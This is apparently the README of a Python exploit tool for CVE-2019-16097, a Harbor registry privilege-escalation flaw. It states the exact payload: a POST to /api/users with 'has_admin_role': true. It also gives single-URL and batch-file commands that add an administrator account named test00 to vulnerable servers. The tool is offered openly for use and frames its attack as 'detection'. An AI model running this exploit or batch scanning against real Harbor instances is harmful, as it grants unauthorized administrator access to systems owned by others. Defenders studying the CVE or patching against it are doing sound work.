thelsa/harbor-give-me-adminharbor(<1.7.6/1.8.3) privilege escalation (CVE-2019-16097)
In 201909, Harbor disclosed a vulnerability that allows adding an administrator through the registration function. By using the registration API /api/users and crafting a POST parameter "has_admin_role": true, an administrator can be added directly.
This tool supports single URL or batch detection.
python2.7
pip install requests
Usage: python harbor-give-me-admin.py -h
Single URL detection: python harbor-give-me-admin.py -u "https://www.xxx.com/"
//If exploitation is successful, an admin account test00 will be added. Use with caution!
Batch detection: python harbor-give-me-admin.py -f urls,txt
//If exploitation is successful, an admin account test00 will be added. Use with caution!
gmail：[email protected]
